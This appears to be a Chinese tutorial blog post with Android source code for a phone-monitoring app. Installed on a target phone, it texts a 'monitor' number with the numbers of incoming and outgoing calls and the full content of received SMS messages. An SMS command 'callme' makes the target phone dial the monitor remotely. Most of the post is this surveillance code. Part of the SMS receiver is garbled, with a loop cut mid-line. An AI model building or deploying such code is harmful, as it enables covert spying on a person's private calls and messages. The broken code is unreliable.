利用Android实现一个手机对另一个手机的来电、去电和短信的监控功能。开启三台模拟机,一台为监控者,一台为被监控者,另一台则为第三方。当第三方向被监控者拨打电话和发送短信时,会将第三方的电话号码发给监控者;当被监控者向第三方拨打电话时,也会将第三方的号码发给监控者;当监控者向被监控者发送短信、拨打电话或者被监控者向监控者发送短信、拨打电话时监控功能不会开启。此外,监控者还可以通过短信发送代码来控制被监控者。
1. 欢迎界面的设置
3.WayMainActivity类,为设计的按钮添加事件
package cn.tedu.whereareyou;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class WayMainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_way_main);
//实现按钮的效果:1.功能选择按钮;2.功能开启/关闭按钮
//1.功能选择按钮的效果实现:未选中/选中
//1.先获得界面上的按钮组件;2.增加按钮组件的点击效果
final Button fpl_btn = (Button)this.findViewById(R.id.FPL_BIN_ID);
final Button qpl_btn = (Button)this.findViewById(R.id.QPL_BIN_ID);
final Button msg_btn = (Button)this.findViewById(R.id.MSG_BIN_ID);
fpl_btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
/*Toast.makeText(WayMainActivity.this, "您点击了来电监控功能", Toast.LENGTH_LONG).show();*/
if(WayInformations.isFPL){
//表示当前是选中状态,点击后变为未选中
WayInformations.isFPL=false;
fpl_btn.setText("来电监控");
}else{
//表示当前是未选中状态,点击后变为选中
WayInformations.isFPL=true;
fpl_btn.setText("来电监控<√>");
}
}
});
qpl_btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
if(WayInformations.isQPL){
//表示当前是选中状态,点击后变为未选中
WayInformations.isQPL=false;
qpl_btn.setText("去电监控");
}else{
//表示当前是未选中状态,点击后变为选中
WayInformations.isQPL=true;
qpl_btn.setText("去电监控<√>");
}
}
});
msg_btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
if(WayInformations.isMSG){
//表示当前是选中状态,点击后变为未选中
WayInformations.isMSG=false;
msg_btn.setText("短信监控");
}else{
//表示当前是未选中状态,点击后变为选中
WayInformations.isMSG=true;
msg_btn.setText("短信监控<√>");
}
}
});
//2.功能开关/关闭按钮的效果实现:开关切换+开关操作
//1.先获得界面按钮 2.增加按钮点击效果
final Button gn_btn = (Button)this.findViewById(R.id.GN_BIN_ID);
gn_btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View arg0) {
//获取界面上的监控者的手机号码,保存备用
EditText et=(EditText)findViewById(R.id.ET_ID);
WayInformations.LPPN =et.getText().toString();
// TODO Auto-generated method stub
/*Toast.makeText(WayMainActivity.this, "您点击了来电监控功能", Toast.LENGTH_LONG).show();*/
if(WayInformations.isGN){
//表示当前是开启状态,需要:开启状态——>关闭状态——>关闭操作
WayInformations.isGN =false;
gn_btn.setText("开启所选监控");
//补充:解锁界面内容+还原界面内容
et.setEnabled(true);
fpl_btn.setEnabled(true);
qpl_btn.setEnabled(true);
msg_btn.setEnabled(true);
et.setText("");
WayInformations.LPPN = "";
if(WayInformations.isFPL){
fpl_btn.setText("来电监控");
//WayInformations.isFPL = false;
}
if(WayInformations.isQPL){
qpl_btn.setText("去电监控");
}
if(WayInformations.isMSG){
msg_btn.setText("短信监控");
}
//程序跳转到Service类中进行关闭监控功能操作
Intent it = new Intent();
it.setClass(WayMainActivity.this, WayService.class);
stopService(it);
}else{
//表示当前是关闭状态,需要:关闭状态——>开启状态——>开启操作
//判断是否满足开启条件
//条件:1.监控者手机号码为空;2.监控功能至少选择一项
if(!WayInformations.LPPN.equals("")
&&(WayInformations.isFPL||WayInformations.isQPL||WayInformations.isMSG)){
WayInformations.isGN =true;
gn_btn.setText("关闭所选监控");
//补充:锁定界面内容:无法修改监控者手机号码以及选择监控功能
et.setEnabled(false);
fpl_btn.setEnabled(false);
qpl_btn.setEnabled(false);
msg_btn.setEnabled(false);
//程序跳转到service类中进行开启操作
Intent it = new Intent();
it.setClass(WayMainActivity.this, WayService.class);
startService(it);
}else{
Toast.makeText(WayMainActivity.this, "条件不满足,无法开启!", Toast.LENGTH_LONG).show();
}
}
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.way_main, menu);
return true;
}
}
4.WayWelcomeActivity类,实现欢迎界面到主程序界面的过渡
package cn.tedu.whereareyou;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
public class WayWelcomeActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(R.layout.welcome);
new Handler().postDelayed(new Runnable(){
public void run() {
//创建跳转意图对象
Intent it = new Intent();
it.setClass(WayWelcomeActivity.this, WayMainActivity.class);
startActivity(it);
finish();
};
},3*1000);
}
}
5. WayInformations类,一些有效信息的存储
package cn.tedu.whereareyou;
/*本类文件表示程序中的一些有效信息的存储类
*
* */
public class WayInformations {
//存储来电监控功能的当前状态值
public static boolean isFPL =false;
public static boolean isQPL =false;
public static boolean isMSG =false;
//开关
public static boolean isGN =false;
//存储监控者手机号码
public static String LPPN ="";
}
6.WayService类,用来完成所选监控功能的开启或者关闭操作
package cn.tedu.whereareyou;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.widget.Toast;
//本类用来完成所选监控功能的开启或者关闭操作
public class WayService extends Service {
//定义监控功能所需的资源对象
PhoneStateListener psl;
TelephonyManager tm;
ToPhoneListenerReceiver tplr;
IntentFilter tplif;
MessageListenerReceiver mlr;
IntentFilter mlif;
//初始化所选监控功能资源对象
public void onCreate(){
super.onCreate();
Toast.makeText(WayService.this,"正在初始化所选监控功能...",Toast.LENGTH_LONG).show();
if(WayInformations.isFPL){
psl = new PhoneStateListener(){
@Override
public void onCallStateChanged(int state, String incomingNumber) {
// TODO Auto-generated method stub
super.onCallStateChanged(state, incomingNumber);
//判断:如果被监控者手机响铃,说明来电,需要开始准备进行来电监控操作
if(state==TelephonyManager.CALL_STATE_RINGING){
//判断:如果来电号码不是监控者,才进行来电监控
if(!incomingNumber.endsWith(WayInformations.LPPN)){
//向监控者发送监控短信
//获得短信管理器对象
SmsManager sm = SmsManager.getDefault();
//准备内容(去信号码+去信内容)
String message = incomingNumber + "is Called Phone to TA";
//发送短信
sm.sendTextMessage(WayInformations.LPPN, null, message, null, null);
}
}
}
};
tm = (TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);
}
if(WayInformations.isQPL){
tplr =new ToPhoneListenerReceiver();
tplif = new IntentFilter();
}
if(WayInformations.isMSG){
mlr = new MessageListenerReceiver();
mlif = new IntentFilter();
}
}
//开启所选监控功能(执行完startActivity(it);命令后会自动调用执行)
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
Toast.makeText(WayService.this,"正在开启所选监控功能...",Toast.LENGTH_LONG).show();
if(WayInformations.isFPL){
tm.listen(psl, PhoneStateListener.LISTEN_CALL_STATE);
}
if(WayInformations.isQPL){
tplif.addAction("android.intent.action.NEW_OUTGOING_CALL");
this.registerReceiver(tplr, tplif);
}
if(WayInformations.isMSG){
mlif.addAction("android.provider.Telephony.SMS_RECEIVED");
this.registerReceiver(mlr, mlif);
}
return super.onStartCommand(intent, flags, startId);
}
//关闭所选监控功能(执行完stopActivity(it);命令后会自动调用执行)
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
Toast.makeText(WayService.this,"正在关闭所选监控功能...",Toast.LENGTH_LONG).show();
if(WayInformations.isFPL){
tm.listen(psl, PhoneStateListener.LISTEN_NONE);
WayInformations.isFPL = false;
}
if(WayInformations.isQPL){
this.unregisterReceiver(tplr);
WayInformations.isQPL = false;
}
if(WayInformations.isMSG){
this.unregisterReceiver(mlr);
WayInformations.isMSG = false;
}
}
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
}
7. ToPhoneListenerReceiver类,处理被监控者的去电功能
package cn.tedu.whereareyou;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;
public class ToPhoneListenerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ct, Intent it) {
// TODO Auto-generated method stub
Toast.makeText(ct, "正在处理去电监控功能", Toast.LENGTH_LONG).show();
//当检查到被监控者手机向外拨打电话时,准备开始进行去电监控操作
if(it.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)){
//补充:获得去电号码
String qudiannumber = it.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
//当向外拨打电话不是监控者时,才开始进行监控
if(!qudiannumber.equals(WayInformations.LPPN)){
//向监控者手机发送一条监控短信
SmsManager sm = SmsManager.getDefault();
String message = "TA is Called Phone to "+ qudiannumber;
sm.sendTextMessage(WayInformations.LPPN, null, message, null, null);
}
}
}
}
8. MessageListenerReceiver类,实现被监控者的短信监控功能和监控者通过代码控制被监控者的手机。
package cn.tedu.whereareyou;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;
public class MessageListenerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ct, Intent it) {
// TODO Auto-generated method stub
Toast.makeText(ct, "正在处理短信监控...", Toast.LENGTH_LONG);
//1.获取短信内容;2.获取有效信息;3.判断是否需要进行短信监控/特殊命令操作
//获得原始短信
Object[] objs =(Object[])it.getExtras().get("pdus");
//类型的转换Object[]转换成SmsMessage[]
SmsMessage[] duanxin = new SmsMessage[objs.length];
for(int i = 0;i进行特殊命令操作(回拨电话)
if(laixinneirong.trim().equalsIgnoreCase("callme")){
Intent dadianhua = new Intent();
dadianhua.setAction(Intent.ACTION_CALL);
dadianhua.setData(Uri.parse("tel:"+WayInformations.LPPN));
dadianhua.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ct.startActivity(dadianhua);
}
}else{
//第三方,进行监控
SmsManager sm = SmsManager.getDefault();
String message = laixinnumber +"is send Message to TA and MEssageBody is"+laixinneirong;
sm.sendTextMessage(WayInformations.LPPN, null, message, null, null);
}
}
}
}
9.AndroidManifest.xml中修改程序图标、增加intent-filter内容和权限。
突然闲下来不知道做什么,整理一下以前学的内容